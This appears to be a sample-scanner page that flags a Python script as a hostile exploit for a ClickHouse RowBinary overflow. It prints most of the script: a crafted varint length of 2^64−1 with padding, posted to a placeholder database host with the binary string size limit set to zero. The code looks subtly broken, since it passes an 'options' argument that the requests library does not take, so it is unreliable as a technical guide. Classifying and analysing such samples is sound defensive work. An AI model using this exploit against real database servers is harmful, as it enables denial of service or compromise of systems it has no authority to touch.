Hostile 100% python Download

variant_decimal_renamed.py

Exploits ClickHouse RowBinary overflow

Attempts a ClickHouse RowBinary overflow triggerSets binary string size limit to zero
SHA-25635a52868b787fb4965f6be03e37d9892374d59ab03f012ca18337903762b2725

Also flagged by https://feeds.feedburner.com/TheHackersNews (Researcher Demonstrates Database RCE Exploits Affecting PostgreSQL, MySQL and Oracle).

Evidence

Sets binary string size limit to zero lines 1–25
1import sys
2import requests
3
4
5def encode_length(value):
6 result = bytearray()
7 while value >= 128:
8 result.append((value & 127) | 128)
9 value >>= 7
⋯4 lines
14def trigger(destination):
15 wire = encode_length(64) + b'Z' * 64
16 wire += encode_length(18446744073709551615) + b'X' * 8192
17 options = {
18 'query': "INSERT INTO FUNCTION null('a String') FORMAT RowBinary",
19 'format_binary_max_string_size': 0,
20 }
21 return requests.post(destination, options=options, data=wire, timeout=10)
22
23
24if __name__ == '__main__':
25 trigger('http://database.example.invalid:8123/')

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.